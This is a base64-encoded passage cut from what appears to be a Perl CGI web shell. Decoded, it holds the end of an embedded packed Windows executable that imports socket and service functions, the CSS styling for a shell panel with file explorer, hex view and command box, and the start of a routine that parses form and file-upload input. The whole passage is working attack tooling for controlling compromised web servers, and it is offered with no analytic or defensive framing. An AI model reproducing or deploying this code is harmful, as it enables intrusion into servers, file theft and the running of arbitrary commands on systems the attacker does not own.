UwNCkZNRVEwUVBHMUhiVU1JM3QrUGdQZ25oSDk4ZU1GSXJRLzBJNGtkOXlLZk9sL3lTVjZDd1dLdkRiWXNlNkhJUHBTTXJnY3pPM0pZakkNCkY0VUFCbzM0VGRjOVhaQUhmQkFFUEFOZ0k3YTN3TUhSaXN6WGlFY0JCUUlaVzdibVZnaFp4c2RjekpheFpTZU5TU3NsQVFJN20rUloNCkFxYVFJMFlocmp1UXIwYy9qTjhHekFPYXBtbWF4THkwcktTY05OMUMvNzlFanVTSmwrUUg2T2pUTkUzVDdPenc4UFFDMHpSTjlQajQNCi9CQmFmTmdvalpvRDhIb0p3RFRiNy8vd0FDMEREQ0FON0MzdFdGNWZvSkNkQ3duQkJadjVFYU1ONGUzRERBb3JqWFF4WjN3NS9IOTINCjIwc0dKQTM5NC94M2dDN0NlV3R4UmUrTk1DNlBGL21jVFBrcmlDMHN3bWE2N3BDWUM3Z0Q0RzBET2x2eWRiZHZBMDVZVDFhMlM5MHUNCllkZ2ZvKzRDN3dLOFpRUHlLWXlRSnlTTlY3WWtxeTBEcmtYWFhaaUJXbUJiTkFZOEEwM1RORTFFVEZSY1pIZHBtbWFFTHBjY0hCZ1kNCnBtbWFwaFFVRUJBTWtLWnBtZ3dJQ0FRRVRkZWRzQitRQlpnRHFMd2xPTGVFTHBlM3RZY0RXd2l6RDRNVElabE9DTGRvUUJuVkRMa1cNCllISzBTRnV0czUwbHVxd0dzQVVHd0l6RW82aVVvTHJzcGQ1Q2VLRVkrWUNodEFmYXREVmdpTHJhVkpKUUROY0w3WlkxQUNSeUIyTVUNCjYraGZaWElSSWFQTG5zWDJWbkt2OC9yeUszRU1XcmlELzcvQXd2eFh3ZTRQaTg2TGV2eHB5UVN2UzRsOTJDamszakNNQVVTWklMWk4NCnhyY0czTDBNRTlVSStIVi93UkdqUW56N2FqOUpYd3NNTzg5MnFaRUxCWHE3RXdRN0F3aDFTTDJsSVArdGYraHpITDl4MCsrTlRBR08NCjF5RjhzRVQrQ1hVdTJOYTdLM1VoT2Vza2RlQWVMWDA2OTJBaHZMREVFaVFHZVFTWnNYTEJVWWQ4RXdvRWplKzJHOHhkK0EwSWpJdjcNCndmOEVaSFJiMjlyL1AzdUdYeSs5NFpmc0ZXb0FXaVRRSzZnRnVuL01FYUdKVmZoSldqdktwbmIyL0xtdGRmUEtRUnY3UUQ0NytuYmINClVyc3RtUHEvZEdzdWlWRytVVHd5TW1DOXV1clNJVlJod1NLWEVSNjlMZFlTOHRJaGxFeFN2MXBaenJaSnZrb0xCQWdSRlM1czFKRW4NCjdOVUpPVE9HZkRNYnBJa3A4STBNK2NyV1hQY0xKb2t2RGdVSW9sMXEyWmRLWTRjSEJPL2JScnRmelUwUC9zR0lDM01sOHc5R0RuYXkNCjNiKzdpSXZQMCt0MkNSa05qVVN4eFc0Vit3a1k2eWtrd0UvZ0dXT0g0SjRsV1FRUG5ZUzNDVlQ2VnNNNGkxUkZveHFKWEJOWGhuZ3MNClMzTDZvWFpNV3FwOG90OS9wRmFuUUJUaTlxWnFEd05JREZLQUFFUE1YaU4ya2xOUmdCOHkvckQzSUJ3SlVBZ09PVUFRZzZTSTR1eHUNCjltd2tELzVJUXdwSTZyRTMzT0o1UXhPRFlBVCtFWU40Q0xyWE50MURiRk1RY0F4YUVna1FMWG9zTEdEMEQ5aEM0Ump5QklDU3k4Z28NCitzVy9vZk5NRWV4UmpVZ1VVWnNySE9QOWRtVml6djhOTHpzRklqVlB2N1pSdHhTV09va05UT3NpZFg1UHQ2T3NpVFUxWENsZ2t5cG0NCkwyZ2JuOXlOWUR5Q0xCdElGM2J3L0RzNlRCZHFTVFI5RG9QTy85UHVneW5IV3kzdC8rLzA2eEFtZ1ArMndMMHo5dFBvRGdPaGFZdlkNCk85OS91L0FiZndoekdZdEw0VHNqS3lQK0M4OTFDN3RkNDFZK0ZEdWFHSExuQjNWNTIwekk5NHZhTzlnbUZRWHI1aGtsdWtWM2RWa2sNCmM3TjdDRWgzeUxOekV6ZnI3U1lORzdkZm1iTXY3aGNsYm51RjIzWVh0REFXQ0NZZldWc3RiRnV0L0lCRHFEaHNCOTFyMVcwYjZTTnANCldxVVVpOE5icVcwVytzZEtMWXVNa0xZN2U5aWxnSkJFaURlTEVuQVI5Z3R2WlZYZGcyWDhoRWhFQzlhTEN3RU10ZEIxQjVGSkZLYi8NCkxsd2NYNHYrSXprTDEzVHBpNWNiaHpYcnlqUC9YRmhOZGt6LzdtQjNWODUxRFdacUlHUmZoY2w4QmRIaFI2NnUyKzdyOTRzZ1ZQbEQNCkNpdC84WHVOUmszL3dmNEVUb1ArUDM3NFhqZWIwcWFUekEwQkpHRWdmU3NSdDZVT0F1ODRuTlB6N0NNM3luSDNYSWhFaVFQK0QzWHENCllld2gwV0lENlF2ck1SY3JsU3U0ZG91aE1pRVpLVGFZTENibktBU0ZJZ3JBcmsydnkzb0UrQUNWcjNvSWtOdCtybXFFb3FsODhVSU0NCnBWa0drRm9pd21RRzFWTHBadjRMZlNuRW1Rc3VqVzJ1eHhGaXY3RE9qQWs3Z04xMnlRcVBDWHl1Nnk4b3ZnOXBvK1ZPdGdsN0JMRzgNCmNEM1N4YTBXdnU0Sk4ycDB1YVZmT25RTGlRcUpBL3l5ZVhWdCtHMGJ2TkVpQVJJeS9KK0xEbnI4VnFvaEpROCtkUm83SGZMUWlOU1YNCjYwczdwQWJTcGJwZ2F4R0pVRUlFQ0FZOU9Da0NEVy9zTU4yNndmOWRkVEJmaVZCeTRKQ1dCYVcwVjVkb01JUENCaXJIZElpY0RYL0INCllzQTlDbWpFUWVBSVI3YlBURVV3alRTQk0yU0pSdlpCQS8wUWRDcHFCR2ovYUxKWEdmUUdNTWhnREIxMkVGZTExSUNCL04xOFRxQVcNCis2MGt4WWwrQlA4RllrRndIYXBkcW92R3N1N3BvL1dOcmt0eHlFRUlNOXZGVCt2alJyUGdROE0zYWNDQld2dkVkaHRqTUlKRjZrQUkNCkFnVGR1alZzbkVvZSs0WEI1OTk1REJjdzVMT0xFSUFBUlEzNlRTYlJKeWNWalpjQWNDTm9jR243K25jOGpVZDNTUEtEaUg1bU1PL3UNCjlJMkkvQWJIUVB6d1FnNTZuL3Z0Ny8rbFNBVEhnT2dRRkFWVzNsRTNXQ3p3bG5iSEkwOE1CZmpldWdMZ2h1a21pYXlOU2d5SDI4dlcNCkNJOUJaSjVFUXJ5ZTQxV3E4UllzUTRySUM2QkdxMXZkZW9oT1F3c0plTUlzQ2pnb01NdG9mbXJQajRyUTJLdmtZRlpDZUpEbzRXaEUNClJEQmN6V2VMTmJsNDJGQkJoamhFczlaaEIzN1AvaWwwVUdnb0VHZ1VCNk5rYm5vcDN1SFdvMmk4Qzk0Vy85QmR2V2YvUFhRT29XZ1ENCkJWTVJ2aGlnVjZwaEEwRk5qZ2RXUjF6citJOE1WNVNzVXJ2NmVsWlRpOW5kRlBlYlRnVnZxSEVrRUc3YmRXL3JJZGJWamlpOHMzUWwNCmdTa2ZOL3RmZTNYckxSMVJnK01EZEEwZ0hhRU9LbFF2OENCYk5WQjZ6MmpEeVhRU09vTjMwajBEY1JFNjdtd1lnQWpRTmk3NktwZ2cNCkk4QjI5Mk92K2dZbnkzTHlGb1BHM2l3ZURMWEN0eU4xeGpuckdJSGl4d3d0OWtqVENRNEFCRFBTVSs1czk3dHRWUW9FaVFkZmRmaXcNCmRZV2pBamxDTUZsUVJMV0NVdVFjVko4UVhBSStmMFpYOGx0VFpJbWU0RmJVVnRhTXM1WGZSaE1kSStzaUlBeFJUd2crRzRoZUlnRUkNCjNtTFNXV3hjRkg0UW9IRUhSRlJkemxsWjVXRHJvdGZKSFJNZEZoeThKUVF1MlhSSXlPYjVFSE1xT3ROOUlBUWJzM1lnY3k1L0pLQ0QNCjV5VnpJUCtMYytSTm5JalcxNFZXR1FSZ214Q0NHM2ZFUWR3MkNNR0dYK3NUY1A4bUJieTFzUkdMT0dmY2RHYTZaRzIyTTl4aElWZjANClRTL2lMT2JzR3FXTUQrMS9pUkpQUmZkME12WkZEUVIwUUQ2em02bTJISGl5UU5WL0h0ckFiRzFrTWtqU2oxQzZrSWF5eU1lRDhndloNClhOMnpOdHlKWGVBdVZrb3lFbHV5ZlhmS3V0YmZkTTlrNUdkMG5JKzR6VzQzczNVRUErc0dqQ2hvSVBnZ05tYVUxVkMvdDNFTEZLR0wNCno4WngwUWdBbGtyTmkwUlcvRW9ORW15d1VFTHNRTzFKOU5qY0V0M3pERjdJS3g2RHd1U0NreGFLZEg0UE9ETDFPcXFCdHdTZTJlUkENClNYQnJmMmc4eTVIUENZQTdlRHo4TzVBQ0pOaDFCTHdENER0L0NEa0E4bWc4YUR3MFhUZFlQMThHVEFORVBBazJUZE0wTENRY1BIL3UNCk00Y0FhRHp3Z0FNRGtBU2JqS0E4ZndEbkVmS1FQckE5Q0QxSXNPdCtMSkFZQ3pnRFlEMS95Q0dRVndBK0FENjZickJRVzdSL3ZBUEUNCmJKcW1hY3pVM09UM1BVNElBUkovSHhBZ3dhYnJCUmdES0R3K2Z4Rm0rZ1hNL3lYQW1nQTFhbk1BLzZzV1NpdEJqOHdERjAwWWt3UGINCnB2Ni9jblZ1ZEdsdFpTQmxjbkp2Y2xFTkNnTlVBZmx2OWt4UFUxTVJEZ0JUU1U1SC9yTDJBbE5QVFVFU0VWSTJNREk0dDcrODNRZ3QNCklFdGhZbXgwYnlCcGJtbFdZV3cvMyt6YmFYb05hR1ZoY0Rjbk4yNXZkTFp2Y0dzOUJIVm43bk53WVdNalp1dzJZTzk3Ykc5M2FUaGgNCkJtOXVOeUI1Q3JrMmMzUmtXdnZ0WnpWd2RYSXJkbWx5ZEhVaE03N1k5dHVsWXlNZ1l3eHNLRjgwMm5hYlFsOHFaWGhjTDFpd2s3MzINCkJ0emlYekU1OTl2dTVyNXZjR1ZZTVhOdkQyUmxjMk5yYlRKZ0t6aEdKSUhmUUlod1pXUVpWeU0zZG1zMEpHMmJySFJvdnlHTTVOdGgNCkwyeHZZMnNYbXRzR1d6Umt0MkV1QXZhdDRkYWlJWEp0QUhCQVozSmhiU0I3SVJTMlNtMDJMekE1VDZNWldnb1FRU29yRlBLNVJqQXUNCkt6ZzlEK0g3WVhKbmRTaHpYekF5Wm90dDI2N0JibTVuZ204RmREb1IwQXBucldUbWYwMHRZQmovOExZNVpoVldhWE9xUXlzcklGS2cNClllNjdQVXhwWXJSeWVTY0tMUllhWjl2RFJRNGhFVkRVT3NJMnJFRFpBQzd2NWVEODlyYTVKU3hyYkhkdVBodEhaWFJNWWJFTGQyd3kNClFRSjJaVkN1ZFhBVC82MXRadzlYbFdRbWgyVnpjMkZuWlVKdk5iNnd4SGhCZlhNbE16SXVaQ3JQdGFJbk43NDVTQU1MVkpocnhISTYNCklBTUFxNlFlUUY0cHA3WnE5ZnRTVTAxVFV3ZGxiWmswVTFmZkFLWDV2M01nVFdGdUR1Y29Rblp5QUZ3djJnT1paTXEyQUNBQktDQ1oNClNCNEFTQUFRaEVBbVpBQVFnUVprQ0dRQkVJSmtDR1JBQWhEdXFzcmN2d0FCQjlzSWRaQXUyeGhiQlIvQVpKQnVrQXNkQ3dTV1FBWnANCkJvMElqbVJBQm1TUGtKRUZaRUFHa3BPeUxFUUhDQWZ2Q293a0x3dHZES3NBQlpNWjl6V2diNnVJYkQ5Y0IwM1RORTBKTUFvTUVPQjANCnIybVdRaEd3RWxjSEV4Y3pUZE5nR0NoWUIwMzNsazBheUVFYnV3Y2NhRFJOMHpSNFdIbElldE0wVGRNNC9EVC9KS3VJblFSVEFnVFMNClJlVFp3YjVnZ25tQ0lSZW0zd2VocGJ4NS92MkJuK0Q4TDBCK2dQeW93YVBhbzBIT0htR1hnZjRIUUc2UUliQzFMMEcyWCtjcjVQL1ANCm91U2lHZ0Rsb3VpaVczNmgvbGZ5MjkxUkJRUGFYdHBmWDlwcTJqTFQ0R1huOXRqZTRQazVNWDRBK0FNeUtDS3dXZG5WVVZGOFJ5UXcNCi9mOEdvRTFFUW5sMFpWUnZWMmxrWlVOb1lYSUQ4SCs3RkZWdUJtNWtiR1ZrUlhoalpYQUYrbGE1YlVacEptVVpEME4xY25LMm9GV3QNCnYxVUFjd0p3MmRZU0kya01RMWlUYklPMUtBNUJMMU5FZSt3THdHbHl0bTl5ZVVGRlUzbHpKN1BXRG14dEZGTnZheHRxOWh2QWRHR1ANCmNFbHVabThzN3JOWHVaYk5nRzl0Ylo3SjJqRDNUR2x1WlI2MXY4cTJKQUJqSlVXVFQzTDdGMXNBV1hNV21rRmtaSEt0Q1VBQkdFeGgNClBBQkhBcnBKVmdWQmJHQU5ZR3RNRFVpQkNqMzJOenRTWlF4RFFVTlFCMDF2WkN5Y1JiaHlaVWdxcUZZamMyZkJIak10QzA5RlRTZC8NClZJQmx3dDU1Y0NVUFYxUnJ1eVU4YWpTVlEwMXZJeEN3Q1R0QkRWZDFaVU1CMkpCbFRyODRSbkptS1d4bDdSaEZidTNzMEpwZTIwUjINCkdtOTVaaEdHRURaWHhlVWJyQUVVZWx2RFpCSXhleTgyRFkzUFR6WjdTWmdFVUlZWUNjMVFibnhTZEd4Z2QybThZZkEwRzdGMHlwR0oNCkFFTncySXk0Wm5ObFlHSlBzRFBpRmp0VFEyeEJEeVBZakZraVpBdzVDRmd5bW5HR0lScmJCZlpSRGtQbGJJWXR4RjRDbjNSamFGdnANClp6WUxtS01PN0IrR0hNdTJhYmFsbHN6L0F3STBGbmZMc2l3RUFnRU56bE5CVTl2bWFBR0lJUTRKQWdqOGx5Y3RjNEpRUlV3QkF3Q0oNCkM1US9qSWo5aCtBQUR3RUxBUWIwSjNaeTJSM1VGUVFRQUVBQUVBKzJZUk5pRWdjWFlPeHNGa3lpREJBSHk3M3NEUVlBYUVTRFIwRFcNCkRRaWkvQjdXRUJ2QkxoaDBPaTZRNExPUURUQ1krbUF1Y2syWWRZYUxKd2xUQTVwYjdKUnFRQzRtSnh3S1VQS2Jra0ZRd0JPMFJRQUENCmFNVnZzeVFBQUFEL0FBQUFBQUFBQUFBQUFBQmd2Z0JRUUFDTnZnREEvLzlYZzgzLzZ4Q1FrSkNRa0pDS0JrYUlCMGNCMjNVSGl4NkQNCjd2d1IyM0x0dUFFQUFBQUIyM1VIaXg2RDd2d1IyeEhBQWR0ejczVUppeDZEN3Z3UjIzUGtNY21ENkFOeURjSGdDSW9HUm9Qdy8zUjANCmljVUIyM1VIaXg2RDd2d1IyeEhKQWR0MUI0c2VnKzc4RWRzUnlYVWdRUUhiZFFlTEhvUHUvQkhiRWNrQjIzUHZkUW1MSG9QdS9CSGINCmMrU0R3UUtCL1FEei8vK0QwUUdORkMrRC9meDJENG9DUW9nSFIwbDE5K2xqLy8vL2tJc0NnOElFaVFlRHh3U0Q2UVIzOFFIUDZVei8NCi8vOWVpZmU1Y0FBQUFJb0hSeXpvUEFGMzk0QS9BM1h5aXdlS1h3Um13ZWdJd2NBUWhzUXArSURyNkFId2lRZUR4d1dJMk9MWmpiNEENClVBQUFpd2NKd0hSRmkxOEVqWVF3QUhBQUFBSHpVSVBIQ1ArV1VIQUFBSldLQjBjSXdIVGNpZmw1QncrM0IwZFFSN2xYU1BLdVZmK1cNClZIQUFBQW5BZEFlSkE0UERCT3ZZLzVaa2NBQUFpNjVZY0FBQWpiNEE4UC8vdXdBUUFBQlFWR29FVTFmLzFZMkg1d0VBQUlBZ2Y0QmcNCktIOVlVRlJRVTFmLzFWaGhqVVFrZ0dvQU9jUjErb1BzZ09uYm9mLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSHlBQUFCUWdBQUENCkFBQUFBQUFBQUFBQUFBQUFpWUFBQUd5QUFBQUFBQUFBQUFBQUFBQUFBQUNXZ0FBQWRJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFvSUFBQUs2QUFBQytnQUFBem9BQUFOeUFBQURxZ0FBQUFBQUFBUGlBQUFBQUFBQUFjd0FBZ0FBQUFBQkxSVkpPUlV3ek1pNUUNClRFd0FRVVJXUVZCSk16SXVaR3hzQUZkVE1sOHpNaTVrYkd3QUFFeHZZV1JNYVdKeVlYSjVRUUFBUjJWMFVISnZZMEZrWkhKbGMzTUENCkFGWnBjblIxWVd4UWNtOTBaV04wQUFCV2FYSjBkV0ZzUVd4c2IyTUFBRlpwY25SMVlXeEdjbVZsQUFBQVJYaHBkRkJ5YjJObGMzTUENCkFBQlBjR1Z1VTJWeWRtbGpaVUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUENCkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSI7DQokc2hlbGxfc3R5bGUgPSAiDQo8c3R5bGUgdHlwZT1cInRleHQvY3NzXCI+DQoqew0KCWZvbnQtZmFtaWx5OlRhaG9tYSxWZXJkYW5hLEFyaWFsOw0KCWZvbnQtc2l6ZToxMnB4Ow0KCWxpbmUtaGVpZ2h0OjIwcHg7DQp9DQpmb3Jtew0KCW1hcmdpbjowIGF1dG87DQoJdGV4dC1hbGlnbjpjZW50ZXI7DQp9DQpib2R5ew0KCWJhY2tncm91bmQ6dXJsKCciLiRFTlZ7J1NDUklQVF9OQU1FJ30uIj9pbWc9YmcnKSAjMzMzMzMzOw0KCWNvbG9yOiNmZmZmZmY7DQoJbWFyZ2luOjA7DQoJcGFkZGluZzowOw0KfQ0KaW5wdXQsdGV4dGFyZWF7DQoJYmFja2dyb3VuZDp1cmwoJyIuJEVOVnsnU0NSSVBUX05BTUUnfS4iP2ltZz1iZycpICMxMTExMTE7DQoJaGVpZ2h0OjI0cHg7DQoJY29sb3I6I2ZmZmZmZjsNCglwYWRkaW5nOjEuNXB4IDRweCAwIDRweDsNCgltYXJnaW46MnB4IDA7DQoJYm9yZGVyOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJvcmRlci1ib3R0b206NHB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJdmVydGljYWwtYWxpZ246bWlkZGxlOw0KfQ0KaW5wdXQ6aG92ZXIsdGV4dGFyZWE6aG92ZXJ7DQoJYmFja2dyb3VuZDojMGEwYTBhOw0KfQ0KYXsNCgljb2xvcjojZmZmZmZmOw0KCXRleHQtZGVjb3JhdGlvbjpub25lOw0KfQ0KYTpob3ZlcnsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmZmZmOw0KfQ0KaDF7DQoJZm9udC1zaXplOjE3cHg7DQoJaGVpZ2h0OjIwcHg7DQoJcGFkZGluZzoycHggOHB4Ow0KCWJhY2tncm91bmQ6Ii4kc2hlbGxfY29sb3IuIjsNCglib3JkZXI6MDsNCglib3JkZXItbGVmdDo0cHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglib3JkZXItcmlnaHQ6NHB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsNCgltYXJnaW46MCBhdXRvOw0KCXdpZHRoOjkwJTsNCn0NCmgxIGltZ3sNCgl2ZXJ0aWNhbC1hbGlnbjpib3R0b207DQp9DQouYm94ew0KCW1hcmdpbjowIGF1dG87DQoJYmFja2dyb3VuZDojMDAwMDAwOw0KCWJvcmRlcjo0cHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglwYWRkaW5nOjRweCA4cHg7DQoJd2lkdGg6OTAlOw0KCXRleHQtYWxpZ246anVzdGlmeTsNCn0NCi5nYXVsew0KCWNvbG9yOiIuJHNoZWxsX2NvbG9yLiI7DQp9DQoucmVzdWx0LCAuYm94Y29kZXsNCgltYXJnaW46MCBhdXRvOw0KCWJvcmRlcjoxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglmb250LWZhbWlseTpMdWNpZGEgQ29uc29sZSxUYWhvbWEsVmVyZGFuYTsNCglwYWRkaW5nOjhweDsNCgl0ZXh0LWFsaWduOmp1c3RpZnk7DQoJb3ZlcmZsb3c6aGlkZGVuOw0KCWNvbG9yOiNmZmZmZmY7DQp9DQojZXhwbG9yZXIsIHRhYmxlew0KCXdpZHRoOjEwMCU7DQp9DQp0YWJsZSB0aHsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJhY2tncm91bmQ6IzExMTExMTsNCglwYWRkaW5nOjRweDsNCn0NCnRhYmxlIHRkew0KCXBhZGRpbmc6NHB4Ow0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMTExMTE7DQoJdmVydGljYWwtYWxpZ246dG9wOw0KfQ0KLnRibEV4cGxvcmVyIHRyOmhvdmVyLCAuaGV4dmlldyB0ZDpob3ZlcnsNCgliYWNrZ3JvdW5kOiIuJHNoZWxsX2NvbG9yLiI7DQp9DQouaGlkZGVuew0KCWRpc3BsYXk6bm9uZTsNCn0NCi50Ymxib3ggdGQgIHsNCgltYXJnaW46MDsNCglwYWRkaW5nOjA7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzIyMjIyMjsNCn0NCi50Ymxib3ggdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDpub25lOw0KfQ0KI21haW53cmFwcGVyew0KCXdpZHRoOjEwMCU7DQoJbWFyZ2luOjIwcHggYXV0bzsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCiN3cmFwcGVyew0KCXdpZHRoOjkwJTsNCgltYXJnaW46YXV0bzsNCn0NCi5jbWRib3h7DQoJYm9yZGVyLXRvcDoxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCglib3JkZXItYm90dG9tOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCW1hcmdpbjo0cHggMDsNCgl3aWR0aDoxMDAlOw0KfQ0KLmZwYXRoew0KCWJvcmRlci10b3A6MXB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIi4kc2hlbGxfY29sb3IuIjsNCgltYXJnaW46NHB4IDA7DQoJcGFkZGluZzo0cHggMDsNCn0NCi5mcHJvcHsNCglib3JkZXItdG9wOjFweCBzb2xpZCAiLiRzaGVsbF9jb2xvci4iOw0KCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICIuJHNoZWxsX2NvbG9yLiI7DQoJbWFyZ2luOjRweCAwOw0KCXBhZGRpbmc6NHB4IDA7DQp9DQouYm90dG9td3JhcHBlcnsNCgl0ZXh0LWFsaWduOmNlbnRlcjsNCn0NCi5idG57DQoJaGVpZ2h0OjI0cHg7DQoJYmFja2dyb3VuZDp1cmwoJyIuJEVOVnsnU0NSSVBUX05BTUUnfS4iP2ltZz1iZycpICMxMTExMTE7DQoJZm9udC1zaXplOjEwcHg7DQoJdGV4dC1hbGlnbjpyaWdodDsNCn0NCi5oZXh2aWV3ICwgLmhleHZpZXcgdGR7DQoJZm9udC1mYW1pbHk6IEx1Y2lkYSBDb25zb2xlLFRhaG9tYTsNCn0NCjwvc3R5bGU+DQoiOw0KDQpzdWIgaW5pdF9jZ2l7DQoJbXkgJGxlbmd0aCA9ICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ307DQoJbXkgJGNvbnRlbnRfdHlwZSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9Ow0KCW15IChAYXNzaWduLCAlZm9ybWxpc3QpOw0KCWlmIChkZWZpbmVkKCRsZW5ndGgpIGFuZCAkbGVuZ3RoID4gMCApew0KCQliaW5tb2RlIFNURElOOw0KCQlzeXNyZWFkKFNURElOLCAkXywgJGxlbmd0aCk7DQoJCWNob21wOw0KCQkkcXVlcnkgPSAkXzsNCgkJaWYgKCghJGNvbnRlbnRfdHlwZSkgfHwgKCRjb250ZW50X3R5cGUgZXEgJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpKXsNCgkJCUBhc3NpZ24gPSBzcGxpdCgnJicsJHF1ZXJ5KTsNCgkJCWZvcmVhY2ggKEBhc3NpZ24pIHsNCgkJCQlteSAoJG5hbWUsJHZhbHVlKSA9IHNwbGl0IC89LzsNCgkJCQkkdmFsdWUgPX4gdHIvKy8gLzsNCgkJCQkkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCgkJCQkkZm9ybWxpc3R7JG5hbWV9ID0gJHZhbHVlOw0KCQkJfQ0KCQl9DQoJCWVsc2V7DQoJCQkoJGJvdW5kYXJ5ID0gJGNvbnRlbnRfdHlwZSkgPX4gcy9eLipib3VuZGFyeT0oLiopJC9cMS87DQoJCQlAcGFpcnMgPSBzcGxpdCgvLS0kYm91bmRhcnkvLCAkcXVlcnkpOw0KCQkJQHBhaXJzID0gc3BsaWNlKEBwYWlycywxLCQjcGFpcnMtMSk7DQoJCQlmb3IgJHBhcnQgKEBwYWlycykNCgkJCXsNCgkJCQkoJGR1bXAsJGZsaW5lLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHBhcnQsMyk7DQoJCQkJbmV4dCBpZiAkZmxpbmUgPX4gL2ZpbGVuYW1lPVwiXCIvOw0KCQkJCSRmbGluZSA9fiBzL15Db250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IC8vOw0KCQkJCShAY29sdW1ucykgPSBzcGxpdCgvO1xzKy8sICRmbGluZSk7DQoJCQkJKCRuYW1lID0gJGNvbHVtbnNbMF0pID1+IHMvXm5hbWU9IihbXiJdKykiJC9cMS9nOw0KCQkJCWlmKCRwYXJ0ID1+IC9maWxlbmFtZT1cIihbXiJdKilcIi8pew0KCQkJCQkkZm9ybWxpc3R7J3VwbG9hZG5hbWUnfSA9ICQxOw0KCQkJCX0NCgkJCQlpZiAoJCNjb2x1bW5zID4gMCkNCgkJCQl7DQoJCQkJCWlmICgkdmFsdWUgPX4gL15Db250ZW50LVR5cGU6LykNCgkJCQkJew0KCQkJCQkJKCRkdW1wLCRkdW1wLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHZhbHVlLDMpOw0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJKCRkdW1wLCR2YWx1ZSkgPSBzcGxpdCgvXHJcbi8sJHZhbHVlLDIpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSgkZHVtcCwkdmFsdWUpID0gc3BsaXQoL1xyXG4vLCR2YWx1ZSwyKTsNCgkJCQkJaWYgKGdyZXAoL14kbmFtZSQvLCBrZXlzKCVDR0kpKSkNCgkJCQkJew0KCQkJCQkJaWYgKEB7JGZvcm1saXN0eyRuYW1lfX0gPiAwKQ0KCQkJCQkJew0KCQkJCQkJCXB1c2goQHskZm9ybWxpc3R7JG5hbWV9fSwgJHZhbHVlKTsNCgkJCQkJCX0NCgkJCQkJCWVsc2UNCgkJCQkJCXsNCgkJCQkJCQkkYXJydmFsdWUgPSAkZm9ybWxpc3R7JG5hbWV9Ow0KCQkJCQkJCXVuZGVmICRmb3JtbGlzdHskbmFtZX07DQoJCQkJCQkJJGZvcm1saXN0eyRuYW1lfVswXSA9ICRhcnJ2YWx1ZTsNCgkJCQkJCQlwdXNoKEB7JGZvcm1saXN0eyRuYW1lfX0sICR2YWx1ZSk7DQoJCQkJCQl9DQoJCQkJCX0NCgkJCQkJZWxzZQ0KCQkJCQl7DQoJCQkJCQluZXh0IGlmICR2YWx1ZSA9fiAvXlxzKiQvOw0KCQkJCQkJJGZvcm1saXN0eyRuYW1lfSA9ICR2YWx1ZTsNCgkJCQkJfQ0KCQkJCQluZXh0Ow0KCQkJCX0NCgkJCQkkZm9ybWxpc3R7JG5hbWV9ID0gJHZhbHVlOw0KCQkJfQ0KCQl9DQoJfQ0KCW15ICRxdWVyeSA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KCWlmICgkcXVlcnkgPX4gL1x3Ky8pew0KCQlAYXNzaWduID0gc3BsaXQoJyYnLCRxdWVyeSk7DQoJCWZvcmVhY2ggKEBhc3NpZ24pIHsNCgkJCW15ICgkbmFtZSwkdmFsdWUpID0gc3BsaXQgLz0vOw0KCQkJJHZhbHVlID1+IHRyLysvIC87DQoJCQkkdmFsdWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCgkJCSMkdmFsdWUgPSB1cmxkZWNvZGUoJHZhbHVlKTsNCgkJCSNwcmludCAkbmFtZS4iPSIuJHZhbHVlLiI8YnIgLz4iOw0KCQkJJGZvcm1saXN0eyRuYW1lfSA9ICR2YWx1ZTsNCgkJfQ0KCX0NCglmb3JlYWNoICR2YXIgKHNvcnQoa2V5cyglZm9ybWxpc3QpKSkgew0KCQkkdmFsID0gJGZvcm1saXN0eyR2YXJ9Ow0KCQkkdmFsID1+IHN8XG58XFxufGc7DQoJCSR2YWwgPX4gc3wifFxc